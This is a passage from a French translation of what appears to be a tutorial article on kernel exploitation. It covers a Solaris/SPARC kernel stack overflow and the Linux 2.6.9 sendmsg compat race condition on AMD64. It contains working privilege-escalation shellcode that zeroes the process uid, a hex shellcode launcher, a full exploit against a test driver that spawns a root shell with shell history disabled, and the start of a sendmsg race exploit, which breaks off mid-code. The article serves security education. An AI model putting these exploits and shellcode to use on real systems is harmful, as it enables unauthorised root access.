offsetof (user_t, u_psargs) = 0x161
>
Puisque le proc_t pris dans le "cache processus" est toujours aligné sur 8
octets, nous devons devons sauter 3 octets à partir du début du tableau de
caractères u_psargs (qui est là où nous avons mis notre shellcode). Ceci
veut dire que nous avons de la place pour 76 / 4 = 19 instruction, ce qui
est habituellement assez pour des shellcodes moyens... Mais la place n'est
pas vraiment une limite puisque nous pouvons "chainer" plusieurs structures
psargs de différents processus, simplement en sautant d'une à l'autre. De
plus, nous pourrions écrire un shellcode à deux étapes qui copierait
simplement notre plus gros shellcode à partir de l'espace utilisateur en
utilisant lda présentée plus tôt.
Nous nous retrouvons maintenant devant un scénarios légèrement plus
complexe, qui est le "débordement de pile noyau". Nous admettons ici que
vous êtes familier des exploits utilisant la pile utilisateur (sinon, allez
voir [15] et [16]). Le problème principal ici est que nous devons trouver
une manière de retourner de manière sûre vers l'espace utilisateur une fois
qu'on a cassé la pile (et donc, pour accéder au pointeur d'instruction, le
pointeur de cadre). Une bonne manière pour comprendre comment la "pile
noyau" est utilisée pour retourner dans l'espace utilisateur est de suivre
le chemin d'un appel système. Vous pouvez en trouver un premier bon exemple
ici [17], mais nous pensons qu'une lecture du code d'OpenSolaris est
mailleure (vous verrez aussi, en suivant l'entrée sys_trap dans
uts/sun4u/ml/mach_locore.s le code qui met le contexte nucléaire dans le
registre PContext).
Concentrons nous sur l'utilisation de la "pile noyau" :
< usr/src/uts/sun4u/ml/mach_locore.s >
ALTENTRY(user_trap)
!
! user trap
!
! make all windows clean for kernel
! buy a window using the current thread's stack
!
sethi %hi(nwin_minus_one), %g5
ld [%g5 + %lo(nwin_minus_one)], %g5
wrpr %g0, %g5, %cleanwin
CPU_ADDR(%g5, %g6)
ldn [%g5 + CPU_THREAD], %g5
ldn [%g5 + T_STACK], %g6
sub %g6, STACK_BIAS, %g6
save %g6, 0, %sp
< / >
Dans %g5, on sauvegarde le nombre de fenêtres qui sont "implémentées" dans
l'architecture moins une, ce qui donne, dans notre cas, 8 - 1 = 7. CLEANWIN
sera mis à cette valeur puisqu'il n'y a aucune fenêtre utilisée en dehors
de celle-ci, et donc, le noyau a 7 fenêtres libres à utiliser.
L'adresse de la structure cpu_t est alors sauvegardée dans %g5 (par
CPU_ADDR) et, à partir d'ici, le pointeur de thread [ cpu_t->cpu_thread ]
est obtenu. À partir de la structure kthread_t on obtient "l'adresse de la
pile noyau" [le nom du champ est t_stk]. Celle-ci est une bonne nouvelle,
puisque ce membre est facilement atteignable dans un shellcode (c'est juste
une histoire d'accéder correctement à %g7 / le pointeur de thread). À
partir d'ici, nous pouvons suivre le chemin de sys_trap et nous seront
capable d'avoir une idée de ce qu'on trouvera sur la pile après la valeur
de kthread_t->t_stk et où on le trouvera.
À cette valeur est ensuite soustrait "STACK_BIAS" : l'ABI SPARC v9 64bits
spécifie que les registres %fp et %sp on un offset d'une constante, le
stack bias, qui est de 2047 bits. C'est une chose dont on devra se souvenir
lors de l'écriture de notre shellcode "stack fixup". Sur les noyaux 32
bits, la valeur de cette constante est 0.
Le save qui suit est une autre bonne nouvelle, parce que ça signifie que
nous pouvons utiliser la valeur de t_stk comme %fp (muni de la "bonne
adresse de retour") pour retourner à "un endroit valide" dans le chemin de
l'appel système (et donc, le laisser couler à partir de là et revenir
proprement dans l'espace utilisateur).
Maintenant, la question est : à quel endroit ? devons nous hardcoder cette
valeur de retour ou pouvons nous la récupérer quelque part ?
Un prochain coup d'oeil au chemin du syscall nous révèle que :
ENTRY_NP(utl0)
SAVE_GLOBALS(%l7)
SAVE_OUTS(%l7)
mov %l6, THREAD_REG
wrpr %g0, PSTATE_KERN, %pstate ! enable ints
jmpl %l3, %o7 ! call trap handler
mov %l7, %o0
et ce %l3 est :
have_win:
SYSTRAP_TRACE(%o1, %o2, %o3)
!
! at this point we have a new window we can play in,
! and %g6 is the label we want done to bounce to
!
! save needed current globals
!
mov %g1, %l3 ! pc
mov %g2, %o1 ! arg #1
mov %g3, %o2 ! arg #2
srlx %g3, 32, %o3 ! pseudo arg #3
srlx %g2, 32, %o4 ! pseudo arg #4
%g1 a été préservé puisque :
#define SYSCALL(which) \
TT_TRACE(trace_gen) ;\
set (which), %g1 ;\
ba,pt %xcc, sys_trap ;\
sub %g0, 1, %g4 ;\
.align 32
ainsi sont les appels systèmes syscall_trap pour LP64 et syscall_trap32
pour ILP32. Vérifions que la pile est dans l'état que nous avons prévu :
> ::ps ! grep snmp
R 291 1 291 291 0 0x00020008 0000030000db4060 snmpXdmid
R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx
> ::ps ! grep snmpdx
R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx
> 0000030000d2f488::print proc_t p_tlist
p_tlist = 0x30001dd4800
> 0x30001dd4800::print kthread_t t_stk
t_stk = 0x2a100497af0 ""
> 0x2a100497af0,16/K
0x2a100497af0: 1007374 2a100497ba0 30001dd2048 1038a3c
1449e10 0 30001dd4800
2a100497ba0 ffbff700 3 3a980
0 3a980 0
ffbff6a0 ff1525f0 0 0
0 0 0
0
> syscall_trap32=X
1038a3c
>
En analysant le "cadre de la pile", nous voyons que %l16 est exactement
THREAD_REG (la valeur du thread, 30001dd4800) et %l3 est 1038a3c, l'adresse
de syscall_trap32.
Maintenant, nous sommes prets à écrire notre "shellcode" :
# cat sparc_stack_fixup64.s
.globl begin
.globl end
begin:
ldx [%g7+0x118], %l0
ldx [%l0+0x20], %l1
st %g0, [%l1 + 4]
ldx [%g7+8], %fp
ldx [%fp+0x18], %i7
sub %fp,2047,%fp
add 0xa8, %i7, %i7
ret
restore
end:
#
Maintenant il devrait être assez lisible : il récupère l'adresse de t_procp
depuis la structure kthread_t et à partir de là, récupère l'adresse de
p_cred. Il la met alors à zéro (le registre %g0 est cablé à zéro) le champ
cr_uid de la structure cred_t et utilise la valeur de kthread_t->t_stk pour
%fp. %fp est alors déréférencé pour récupérer l'adresse de "syscall_trap32"
et la soustraction par STACK_BIAS est alors effectuée.
Le add 0xa8 est la seule valeur hardcodée, et est "le lieu de retour" dans
syscall_trap32. On peut le dériver rapidement avec la commande ::findstack
avec mdb. Un shellcode plus avancé pourrait éviter cette "valeur hardcodée"
en scannant les opcodes depuis le début de syscall_trap32 et en cherchant
une séquence jmpl %reg,%o7/nop (syscall_trap ne prend pas une nouvelle
fenêtre et reste dans celle que sys_trap a créé). Sur toutes les boxes que
nous avons testé, c'était toujours 0xa8, c'est pourquoi nous l'avons
laissée hardcodée.
Comme on l'a dit, nous avons besoin que le shellcode soit dans la ligne de
commande, "décallé" de trois octets pour avoir le bon alignement. Pour le
faire, un simple code de lancement a été utilisé :
bash-2.05$ cat launcer_stack.c
#include <unistd.h>
char sc[] = "\x66\x66\x66" // padding for alignment
"\xe0\x59\xe1\x18\xe2\x5c\x20\x20\xc0\x24\x60\x04\xfc\x59\xe0"
"\x08\xfe\x5f\xa0\x18\xbc\x27\xa7\xff\xbe\x07\xe0\xa8\x81"
"\xc7\xe0\x08\x81\xe8\x00\x00";
int main()
{
execl("e", sc, NULL);
return 0;
}
bash-2.05$
The shellcode is the one presented before.
Before showing the exploit code, let's just paste the vulnerable code,
from the dummy driver provided for Solaris :
< stuff/drivers/solaris/test.c >
[...]
static int handle_stack (intptr_t arg)
{
char buf[32];
struct test_comunique t_c;
ddi_copyin((void *)arg, &t_c, sizeof(struct test_comunique), 0);
cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n",
t_c.size, &buf);
ddi_copyin((void *)t_c.addr, buf, t_c.size, 0); [1]
return 0;
}
static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode,
cred_t *cred_p, int *rval_p )
{
cmn_err(CE_CONT, "ioctl called : cred %d %d\n", cred_p->cr_uid,
cred_p->cr_gid);
switch ( cmd )
{
case TEST_STACKOVF: {
handle_stack(arg);
}
[...]
< / >
La vulnérabilité est assez auto-explicative et est un manque de "nettoyage
d'entrée" avant d'appeller ddi_copyin en [1].
L'exploit est le suivant :
< stuff/expl/solaris/e_stack.c >
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "test.h"
#define BUFSIZ 192
char buf[192];
typedef struct psinfo {
int pr_flag; /* process flags */
int pr_nlwp; /* number of lwps in process */
pid_t pr_pid; /* unique process id */
pid_t pr_ppid; /* process id of parent */
pid_t pr_pgid; /* pid of process group leader */
pid_t pr_sid; /* session id */
uid_t pr_uid; /* real user id */
uid_t pr_euid; /* effective user id */
gid_t pr_gid; /* real group id */
gid_t pr_egid; /* effective group id */
uintptr_t pr_addr; /* address of process */
size_t pr_size; /* size of process image in Kbytes */
} psinfo_t;
#define ALIGNPAD 3
#define PSINFO_PATH "/proc/self/psinfo"
unsigned long getaddr()
{
psinfo_t info;
int fd;
fd = open(PSINFO_PATH, O_RDONLY);
if ( fd == -1)
{
perror("open");
return -1;
}
read(fd, (char *)&info, sizeof (info));
close(fd);
return info.pr_addr;
}
#define UPSARGS_OFFSET 0x330 + 0x161
int exploit_me()
{
char *argv[] = { "princess", NULL };
char *envp[] = { "TERM=vt100", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
"HISTFILE=/dev/null", NULL };
printf("Pleased to see you, my Princess\n");
setreuid(0, 0);
setregid(0, 0);
execve("/bin/sh", argv, envp);
exit(0);
}
#define SAFE_FP 0x0000000001800040 + 1
#define DUMMY_FILE "/tmp/test"
int main()
{
int fd;
int ret;
struct test_comunique t;
unsigned long *pbuf, retaddr, p_addr;
memset(buf, 'A', BUFSIZ);
p_addr = getaddr();
printf("[*] - Using proc_t addr : %p \n", p_addr);
retaddr = p_addr + UPSARGS_OFFSET + ALIGNPAD;
printf("[*] - Using ret addr : %p\n", retaddr);
pbuf = &buf[32];
pbuf += 2;
/* locals */
for ( ret = 0; ret < 14; ret++ )
*pbuf++ = 0xBBBBBBBB + ret;
*pbuf++ = SAFE_FP;
*pbuf = retaddr - 8;
t.size = sizeof(buf);
t.addr = buf;
fd = open(DUMMY_FILE, O_RDONLY);
ret = ioctl(fd, 1, &t);
printf("fun %d\n", ret);
exploit_me();
close(fd);
}
< / >
L'exploit est assez simple (nous nous excusons, mais nous n'en avions pas
de public à vous montrer au moment de la rédaction) :
- getaddr() utilise les données psinfo exportées par procfs pour
récupérer l'adresse proc_t du processus courant.
- L'adresse de retour est calculée avec proc_t + l'offset du tableau
u_psargs + les trois octets utilisés pour l'alignement.
- SAFE_FP pointe simplement "quelque part dans le segment de données"
(et près à être biaisé pour le déréférencement réel). À cause des
méchanismes de fenêtres de SPARC, nous devons fournir une adresse
valide qui sera utilisée pour "charger" les registre de la fonction
sauvegardés avant de re-entrer. Nous n'écrivons pas à cette adresse et
donc toutes les parties lisibles du noyau restent sûres. (dans des
scénarios plus complexes, vous pourriez avoir à y écrire, alors soyez
prudents).
- /tmp/test est juste un lien vers le fichier/devices/pseudo/test@0:0
- L'exploit doit être compilé comme exécutable 32 bits, pour que
l'offset syscall_trap32 ai du sens.
Vous pouvez compiler et tester le driver sur votre boxe, c'est vraiment
simple. Vous pouvez l'étendre pour tester plus de scénarios, le squelette
est déjà près pour ça.
------[ 2.4 - Une amorce sur les bugs logiques : race conditions
Les débordements de tas et de pile (et aussi, le déréférencement de
pointeur NULL) sont rarement seuls, et avec l'avancement des audits de code
humaines et automatiques, ils devienent de plus en plus rare. Ce qui
survivra surement plus longtemps sont les "bugs logiques", qui peuvent
mener, finalement, aux débordements classics. Trouver une modélisation des
"bugs logiques" est, d'après nous, quasiment impossible, chacun étant une
histoire à lui seul. Cependant, une typologie parmis d'autre est assez
intéressante (et "répendue") et au moins, quelques approches de base sont
adaptées à une description générique.
Nous parlons de "race conditions" [NDT : aussi appellé "situation de
compétition" en français].
En bref, nous avons une race condition chaque fois que nous avons une
petite fênetre de temps que nous pouvons utiliser pour corrompre le
comportement du système d'exploitation. Une race condition est souvent une
séquence de verroux ou d'autres primitives de synchronisation oubliés ou
l'utilisation de variables "trop longtemps après" le nettoyage de ses
valeurs. Demandez juste à votre moteur de recherche de vulnérabilités
vavorit des "kernel race condition" et vous trouverez plein d'exemples
différents.
Gagner la compétition [NDT : souvenez vous, race = competition] est notre
but. C'est plus facile sur les systèmes SMP, puisque les deux threads en
compétition (l'un d'eux suivant le "chemin noyau disputable" et l'autre
tentant de le gagner) peuvent être ordonnancés (et limités) sur différents
CPU. Nous avons juste besoin que notre "thread compétiteur" aille plus vite
que l'autre, puisqu'il peuvent s'exécuter tous deux en parallèle. Gagner la
compétition sur UP est plus difficile : nous devons forcer le premier
chemin noyau à dormir (et donc à re-ordonnancer). Nous devons aussi
"forcer" le schelduler [NDT : l'ordonnanceur] à sélectionner notre thread
"compétiteur", nous devons donc faire attention à l'implémentation de
l'algorithme d'ordonnancement (par exemple basé sur les priorités). Sur un
système avec une faible charge du CPU, c'est généralement facile à obtenir
: le thread compétiteur est souvent en train de "tourner" sur une condition
et a le plus de chance d'être le meilleur quandidat dans la file d'attente.
Nous allons maintenant nous concentrer à "forcer" le chemin noyau à dormir,
analysant l'interface actuelle pour accéder aux fichier, le cache des
pages. Après ça, nous présenterons l'architecture AMD64 et montrerons un
vrai race exploit sous linux, basé sur la vulnérabilité sendmsg [5]. Gagner
la course dans ce cas nous mène à une vulnérabilité dans la pile, nous
analiseront donc aussi l'exploitation de la pile sous Linux/AMD64.
---[ 2.4.1 - Forcer un chemin noyau à dormir
Si vous voulez gagner une course, qu'y a-t-il de mieux que de ralentir
votre adversaire ? Et qu'y a-t-il de plus lent que d'acceder au disque dur,
sur un ordinateur moderne ? Les concepteurs de systèmes d'exploitation
savent que les E/S sur le disque sont l'une des limitations majeures des
performances des systèmes et savent aussi que c'est l'une des opération les
plus fréquement effectuée.
L'accès au disque et la mémoire virtuelle sont fortement liés : la mémoire
virtuelle a beosin d'accéder au disque pour accomplir les demandes de pages
et le swapping [NDT : le fait qu'une page bouge entre la mémoire vive et le
disque dur], tandis que les E/S du système de fichier (à la fois les
écritures/lectures directes et les fichiers mappés en mémoire) fonctionne
en unité de pages et se basent sur les fonctions de VM [NDT : Virtual
Memory] pour effectuer les écritures sur les pages "sales". De plus, pour
augmenter sensiblement les performances, les pages disques fréquement
accédées sont gardée en RAM, dans ce qu'on appelle le "cache de page".
Puisque la RAM n'est pas une ressource infinie, les pages qui doivent y
être chargées et "mises en cache" doivent être choisies avec soin. Un
premier "écrémage" est fait avec l'approche "Demand Paging" [NDT :
"Pagination à la demande"] : une page est chargée depuis le disque vers la
mémoire uniquement quand elle est référencée, par le gestionnaire de défaut
de page. Une fois qu'une page du système de fichier est chargée en mémoire,
elle entre dans le "cache de page" et y reste pour un temps non déterminé
(qui dépend de l'activité du disque et de la disponibilité de la RAM,
généralement, une politique du LRU [NDT : Least Recently Used -
non-utilisée depuis le plus longtemps] est utilisée pour supprimer les
pages en trop). Puisqu'il est assez habituel pour des applications
utilisateur d'accéder répétivement sur les mêmes pages/contenus (ou, pour
différentes applications, d'acceder à des fichiers communs), le "cache de
page" augmente sensiblement les performances.
Une dernière chose dont nous devons parler et le "page clustering" du
système de fichier. Un autre principe dans la "mise en cache" est la
"localité". Les pages non loins d'une page référencée ont beaucoup de
chance d'être accédées dans un future proche et puisque nous accédons au
disque, nous pouvons éviter la prochaine latence d'accès si nous chargeons
plus de pages après celle référencée. Combien en charger est déterminer par
la valeur du cluster de page. Sous linux, cette valeur est 3, donc, 2^3
pages sont chargées après la page référencée. Sous Solaris, si les pages
font 8Ko, les prochaines 8 pages dans la limite de 64Ko sont apportées par
le driver seg_vn (cas-mmap).
En mettant tout ensemble, si nous voulons forcer un chemin noyau à dormir,
nous devons lui faire référencer une page non-en-cache, pour qu'un défaut
apparaisse à cause de l'implémentation de la pagination. Le gestionnaire de
défaut de pages doit effectuer les E/S sur disque, donc le processus est
mis en sommeil et un autre est sélectinné par le scheduler. Puisque nous
voulons probablement que notre "contenu contrôlé" soit à l'adresse fautive,
nous devons mmaper la page, la modifier et ensuite, épuiser le cache de
page avant que le noyau n'y re-accède.
Remplir le "cache de page" a aussi pour effet de consommer une grande
quantité de RAM et donc d'augmenter le swapping. Sur les systèmes
d'exploitation modernes, on ne peut pas créer une condition de pression sur
la mémoire simplement en épuisant le cache de page (comme il était possible
de le faire sur les très vieilles implémentations), puisque seulement un
petit morceau de la RAM est dédié au cache de page et il continuera à se
voler des pages lui-même, laissant les autres sous-systèmes libres de faire
de même. Mais nous pouvons nous débrouiller pour que ces sous-systèmes
s'épuisent aussi, par exemple en faisant que le noyau fasse un grand nombre
d'allocations de slabs "rescapés".
Travailler à mettre la VM sous pression est quelque chose à toujours garder
à l'esprit, puisque, en faisant ça, on peut ralentire le noyau (favorisant
la compétition) et faire que kmalloc ou d'autres fonctions d'allocations
échouent (quelque chose qui apparaît rarement pendant le comportement
normal).
Il est maintenant temps pour une autre situation de la vie normale. Nous
allons montrer la vulnérabilité sendmsg [5] et le code d'exploitation et
nous décrirons brièvement les détails les plus intéressant pour
l'exploitation de l'architecture AMD64.
---[ 2.4.2 - AMD64 et exploitation de race condition : sendmsg
AMD64 est "l'extention" 64-bits de l'architecture x86, qui est nativement
supportée. Il supporte des registres, pointeurs/adresses mémoires et des
opérations entières/logiques sur 64 bits. AMD64 a deux modes principaux
d'opérations, "long mode", qui est le mode 64bits standard (les binaires
32bits et 16bits peuvent fonctionner quand même avec quasiment aucun impact
sur la performance, ou même, si recompilé, avec quelques avantages du au
plus grand nombre de registres, grâce à ce qu'on appelle parfois "le mode
de compatibilité") et le "legacy mode", pour les systèmes d'exploitation
32bits, qui est, en gros, comme si on avait un environnement x86 standard.
Même so nous n'allons pas les utiliser toutes dans l'exploit sendmsg, nous
allons résumés ici, une paire de fonctionnalités intéressantes de
l'architecture AMD64 :
- Le nombre de registre à but général a été étendu de 8 à 16. Les
registres font tous 64bits (qu'on référence par "r[name|num]", par
exemple : rax, r10). Comme ça c'était passé pour la transition 16-bits
vers 32bits, les 32bits de poids faible des registres d'ordre général
sont accessible avec le préfixe "e" (p.e. eax).
- push/pop sont des opérations 64bits sur la pile, donc, 8 octets sont
pushés/popés à chaque fois. Les pointeurs font aussi 64bits, nous
permettant théoriquement d'adresser 2^64 octets. Comme c'est le cas
avec l'architecture UltraSparc, l'implémentation actuelle n'adresse
qu'une partie limitée de l'espace adressable (2^48 octets) et a donc
un trous de VA [NDT : Virtual Address] (les 48 bits de poids faible
sont utilisés et les bits du 48ème au 63ème doivent être des copies du
47ème bits : le trou est donc entre 0x7FFFFFFFFFFF et
0xFFFF800000000000).
Cette limitation est strictement dépendante de l'architecture, toute
implémentation future pourrait prendre tout l'avantage de la plage des
2^64 octets.
- On peut maintenant référencer des données relativement au pointeur
d'instruction (RIP). C'est à la fois une bonne et une mauvaise
nouvelle, puisqu'elle facilite l'écriture de (shell)code indépendant
de la position, mais le rend aussi plus efficace (ouvrant la voie à
des implémentations plus performantes genre PIE).
- Le (mé)connu bits NX (63ème bits de l'entrée de la table des pages)
est implémenté, les pages peuvent donc être marquée No-Exec par le
système d'exploitation. C'est moins un problème que sous UltraSPARC
puisqu'en fait, il n'y a aucun système d'exploitation qui implémente
des espaces d'adressage utilisateur/noyau séparés, laissant toute la
place aux technique de "retour-vers-espace-utilisateur" [NDT :
"return-to-userspace"].
- AMD64 ne supporte plus (en "long mode") l'utilisation de la
segmentation. Ce choix rend plus dur, de notre point de vue, la
création d'espaces d'adressages utilisateur/noyau séparés. De plus,
les registres FS et GS sont encore utilisé pour des buts différents.
Comme nous le verrons, Linux continue de faire pointer GS vers le PDA
courant ("Per Processor Data Structure"). (voir :
/include/asm-x86_64/pda.h, la structure pda ... de toute façon, on y
reviendra dans pas longtemps).
Après ce bref résumé (si vous voulez en apprendre plus sur AMD64, vous
pouvez voir le manuel de référence [3]), il est temps de ce concentrer sur
la "vulnérabilité réelle", sendmsg [5] :
"Quand nous copions le contenu 32bits de ->msg_control, nous lisons deux
fois les mêmes données utilisateurs, sans vérifications lors de la deuxième
passe. De plus, si la taille des données originale est assez petite, nous
pouvons écrire dans un tableau sur la pile."
< linux-2.6.9/net/compat.c >
int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg,
unsigned char *stackbuf, int stackbuf_size)
{
struct compat_cmsghdr __user *ucmsg;
struct cmsghdr *kcmsg, *kcmsg_base;
compat_size_t ucmlen;
__kernel_size_t kcmlen, tmp;
kcmlen = 0;
kcmsg_base = kcmsg = (struct cmsghdr *)stackbuf; [1]
[...]
while(ucmsg != NULL) {
if(get_user(ucmlen, &ucmsg->cmsg_len)) [2]
return -EFAULT;
/* Catch bogons. */
if(CMSG_COMPAT_ALIGN(ucmlen) <
CMSG_COMPAT_ALIGN(sizeof(struct compat_cmsghdr)))
return -EINVAL;
if((unsigned long)(((char __user *)ucmsg - (char __user
*)kmsg->msg_control)
+ ucmlen) > kmsg->msg_controllen) [3]
return -EINVAL;
tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) +
CMSG_ALIGN(sizeof(struct cmsghdr)));
kcmlen += tmp; [4]
ucmsg = cmsg_compat_nxthdr(kmsg, ucmsg, ucmlen);
}
[...]
if(kcmlen > stackbuf_size) [5]
kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL);
[...]
while(ucmsg != NULL) {
__get_user(ucmlen, &ucmsg->cmsg_len); [6]
tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) +
CMSG_ALIGN(sizeof(struct cmsghdr)));
kcmsg->cmsg_len = tmp;
__get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level);
__get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type);
/* Copy over the data. */
if(copy_from_user(CMSG_DATA(kcmsg), [7]
CMSG_COMPAT_DATA(ucmsg),
(ucmlen -
CMSG_COMPAT_ALIGN(sizeof(*ucmsg)))))
goto out_free_efault;
< / >
Comme il est dit dans l'advisory, la vulnérabilité est une double référence
vers une donnée utilisateur (en [2] et en [6]) sans vérifications lors de
la deuxième passe (en [3] les tests sont bien effectués). Cette "donnée"
est la "taille" de la partie utilisateur à copier ("ucmlen") et est
utilisée, en [7], dans copy_from_user.
C'est un scénario assez commun pour les race conditions : si nous créons
deux threads différents, fassions que le premier entre dans ce chemin,
après [4], nous nous arrangeons pour qu'il dorme et faisons choisir notre
autre thread par le scheduler, nous pouvons alors changer la valeur de
"ucmlen" et donc effectuer un "débordement de tampon".
La sorte de débordement qu'on va faire se "décide" en [5] : si len est
petite, le buffer utilisé est dans la pile, sinon, il sera alloué via
kmalloc. Ces deux situations sont exploitatbles, mais nous avons choisi de
le faire dans la pile (nous avons déjà présenter un exploit dans le slab
pour Linux plus haut). Nous allons utiliser, dans l'exploit, la technique
présentée dans la sous-section précédente pour forcer un processus à
dormir, c'est à dire le faire accéder à des données en dehors d'une page
(avec la deuxième qui n'a pas encore été référencée, ni swappée) :
+------------+ --------> 0x20020000 [MMAP_ADDR + 32 * PAGE_SIZE] [*]
| |
| cmsg_len | premier cmsg_len commence à 0x2001fff4
| cmsg_level | première struct compat_cmsghdr
| cmsg_type |
|------------| --------> 0x20020000 [en dehors de la page]
| cmsg_len | deuxième cmsg_len commence à 0x20020000)
| cmsg_level | deuxième struct compat_cmsghdr
| cmsg_type |
| |
+------------+ --------> 0x20021000
[*] Ce genre de chose qu'on appelle "ajustement à l'exécution". Le
clustering de page ne montrait pas le comportement attendu pour les 32
premières pages mmapées, mais fonctionnait très bien après.
Comme nous l'avons dit, nous allons effectuer une exploitation dans la pile
en écrivant en dehors de la variable "stackbuf". Voyons d'où on peut
l'obtenir :
< linux-2.6.9/net/socket.c >
asmlinkage long sys_sendmsg(int fd, struct msghdr __user *msg, unsigned
flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct socket *sock;
char address[MAX_SOCK_ADDR];
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20];
unsigned char *ctl_buf = ctl;
struct msghdr msg_sys;
int err, ctl_len, iov_size, total_len;
[...]
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err = cmsghdr_from_user_compat_to_kern(&msg_sys, ctl, sizeof(ctl));
[...]
< / >
La situation est moins embêtante qu'elle n'y parai (au moins sur les
systèmes où nous avons testé le code) : grâce à la façon dont gcc met les
variables dans la pile, notre structure "msg_sys" est placée comme si elle
était la première variable. Ça simplifie beaucoup la tâche de
l'exploitations, puisque nous ne devons pas nous embêter à "émuler" en
espace utilisateur, les structures référencées entre notre débordement et
le "return" de la fonction (par exemple, la struct sock). Exploiter dans ce
"deuxième cas" aurait été légèrement plus complexe, mais faisable quand
même.
Le shellcode pour cet exploit n'est pas très différent (comme on pouvait le
prévoir, puisque AMD64 est un "surensemble" de l'architecture x86) des
shellcodes déjàs fournis pour les environnements Linux/x86, cependant, nous
devons nous concentrer sur deux points différents : le "déréférencement de
thread/task struct" et "l'approche de changement de contexte en espace
utilisateur" [NDT : "thread/task struct dereference" et "userspace context
switch approach"].
Pour le premier point, commençons à analyser l'implémentation de
get_current() :
< linux-2.6.9/include/asm-x86_64/current.h >
#include <asm/pda.h>
static inline struct task_struct *get_current(void)
{
struct task_struct *t = read_pda(pcurrent);
return t;
}
#define current get_current()
[...]
#define GET_CURRENT(reg) movq %gs:(pda_pcurrent),reg
< / >
< linux-2.6.9/include/asm-x86_64/pda.h >
struct x8664_pda {
struct task_struct *pcurrent; /* Current process */
unsigned long data_offset; /* Per cpu data offset from linker
address */
struct x8664_pda *me; /* Pointer to itself */
unsigned long kernelstack; /* top of kernel stack for current */
[...]
#define pda_from_op(op,field) ({ \
typedef typeof_field(struct x8664_pda, field) T__; T__ ret__; \
switch (sizeof_field(struct x8664_pda, field)) { \
case 2: \
asm volatile(op "w %%gs:%P1,%0":"=r"
(ret__):"i"(pda_offset(field)):"memory"); break;\
[...]
#define read_pda(field) pda_from_op("mov",field)
< / >
La task struc n'est donc plus dans la "pile courante" (plus précisément,
référencées dans thread_struct qui est en fait sauvegardée dans la "pile
courante"), mais est stockée dans la "struct x8664_pda". Cette structure
contient plein d'informations relatices au processus "courant" et sur le
CPU sur lequel il tourne (l'adresse de la pile noyau, les compteurs IRQ, le
cpu sur lequel on est, nombre de NMI sur ce cpu, ...). Comme vous pouvez le
voir dans la macro "pda_from_op", pendant l'exécution d'un chemin noyau,
l'adresse de la "struct x8664_pda" est gardée dans le registre %gs. En
plus, le membre "pcurrent" (qui est celui dont on s'intéresse) est le
premier, l'obtenir à partir d'un shellcode est juste une histoire de :
movq %gs:0x0, %rax
À partir de là, "scanner" pour trouver uid/gid/etc se fait juste comme dans
les exploits précédement expliqués.
Le deuxième point qui change assez par rapport au cas sous x86 est la
partie de "restauration" (qui est, aussi, une conséquence directe de
l'utilisation de %gs). Tout d'abord, nous devons faire une restauration
"basée sur 64bits", c'est à dire que nous devons empiler les registres
64bits RIP,CC,RFLAGS,RSP etSS et appeller, finalement, l'instruction
"iretq" (la version étendue de "iret" sous x86). Juste avant de retourner,
nous devons penser à effectuer l'instruction "swapgs" qui swap le contenu
de %gs avec celui de KernelGSbase (adresse MSR C000_0102h). Si nous ne
restauront pas %gs, au prochain syscall ou interruption, le noyau utilisera
une valeur non valide pour gs et crashera.
Voici le shellcode en asm :
void stub64bit()
{
asm volatile (
"movl %0, %%esi\t\n"
"movq %%gs:0, %%rax\n"
"xor %%ecx, %%ecx\t\n"
"1: cmp $0x12c, %%ecx\t\n"
"je 4f\t\n"
"movl (%%rax), %%edx\t\n"
"cmpl %%esi, %%edx\t\n"
"jne 3f\t\n"
"movl 0x4(%%rax),%%edx\t\n"
"cmp %%esi, %%edx\t\n"
"jne 3f\t\n"
"xor %%edx, %%edx\t\n"
"movl %%edx, 0x4(%%rax)\t\n"
"jmp 4f\t\n"
"3: add $4,%%rax\t\n"
"inc %%ecx\t\n"
"jmp 1b\t\n"
"4:\t\n"
"swapgs\t\n"
"movq $0x000000000000002b,0x20(%%rsp)\t\n"
"movq %1,0x18(%%rsp)\t\n"
"movq $0x0000000000000246,0x10(%%rsp)\t\n"
"movq $0x0000000000000023,0x8(%%rsp)\t\n"
"movq %2,0x0(%%rsp)\t\n"
"iretq\t\n"
: : "i"(UID), "i"(STACK_OFFSET), "i"(CODE_OFFSET)
);
}
Avec UID qui est l'"uid" du processus courant et STACK_OFFSET et
CODE_OFFSET qui sont les adresses des segments de pile et de code pour
retourner en espace utilisateur. Toutes ces valeurs sont déterminées et
patchées à l'exécution de l'exploit dans la fonction "make_kjump" :
< stuff/expl/linux/sracemsg.c >
#define PAGE_SIZE 0x1000
#define MMAP_ADDR ((void*)0x20000000)
#define MMAP_NULL ((void*)0x00000000)
#define PAGE_NUM 128
#define PATCH_CODE(base,offset,value) \
*((uint32_t *)((char*)base + offset)) = (uint32_t)(value)
#define fatal_errno(x,y) { perror(x); exit(y); }
struct cmsghdr *g_ancillary;
/* global shared value to sync threads for race */
volatile static int glob_race = 0;
#define UID_OFFSET 1
#define STACK_OFF_OFFSET 69
#define CODE_OFF_OFFSET 95
[...]
int make_kjump(void)
{
void *stack_map = mmap((void*)(0x11110000), 0x2000,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0);
if(stack_map == MAP_FAILED)
fatal_errno("mmap", 1);
void *shellcode_map = mmap(MMAP_NULL, 0x1000,
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0,
0);
if(shellcode_map == MAP_FAILED)
